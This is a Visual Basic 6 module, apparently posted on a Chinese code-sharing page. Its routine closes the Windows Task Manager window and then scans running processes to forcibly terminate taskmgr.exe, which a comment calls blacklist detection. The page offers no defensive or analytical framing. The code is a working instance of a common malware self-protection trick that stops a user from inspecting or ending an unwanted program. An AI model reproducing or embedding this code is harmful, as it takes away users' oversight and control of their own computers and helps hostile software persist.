📄 module4.bas
字号:
Attribute VB_Name = "Process"
Option Explicit
'打开一个程序名或文件名
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'获得进程的句柄
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
'终止进程
Private Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
'创建一个系统快照
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, lProcessID As Long) As Long
'获得系统快照中的第一个进程的信息
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal mSnapShot As Long, uProcess As PROCESSENTRY32) As Long
'获得系统快照中的下一个进程的信息
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal mSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long) '关闭句柄
Private Const TH32CS_SNAPPROCESS As Long = 2& '快照常量
Private Type PROCESSENTRY32 '进程结构信息
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type
Dim DebugName As String '保存调试器名称
Private Const PROCESS_ALL_ACCESS = &H1F0FFF 'OpenProcess使用的常量
Private list3 As Long '要关闭进程的ID
Private ParentHandle As Long '要关闭进程的句柄
Private Const WM_CLOSE = &H10
Private Declare Function FindWindows Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Sub ProcessInfo()
Dim winhwnd As Long
winhwnd = FindWindows("Windows 任务管理器", vbNullString) 'Xpsp1中任务管理器的类名,注卡巴斯基类名也是#32770,冲突
If winhwnd <> 0 Then 'winHwnd如果为0,则指定的标题程序没有运行。
Call PostMessage(winhwnd, WM_CLOSE, 0&, 0&) '向相关标题的程序发关闭指令
End If
Dim mSnapShot As Long
Dim uProcess As PROCESSENTRY32
Dim ProcessName As String
Dim R As Long
Dim I As Long
mSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)
If mSnapShot = 0 Then Exit Sub
uProcess.dwSize = Len(uProcess)
R = ProcessFirst(mSnapShot, uProcess)
Do While R '开始遍历所有进程
'instr("12345",3) 应该时返回3
'instr("12345",9) 返回0
'instr("12345",4) 应该时返回4
' If InStr(uProcess.szExeFile, App.EXEName) > 0 Then Mytt = uProcess.th32ParentProcessID '看是否是自己, 保存爸爸的 ProcessID
I = InStr(1, uProcess.szExeFile, Chr(0))
ProcessName = Mid(LCase$(Left$(uProcess.szExeFile, I - 1)), 1, 50)
If ProcessName = "taskmgr.exe" Then
DebugName = ProcessName '黑名单进程名检测
list3 = uProcess.th32ProcessID
ParentHandle = OpenProcess(PROCESS_ALL_ACCESS, True, list3) 'list3即为任务管理器进程名taskmgr.exe
Call TerminateProcess(ParentHandle, 0) '发现此进程即kill
End If
R = ProcessNext(mSnapShot, uProcess)
Loop
Call CloseHandle(mSnapShot)
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -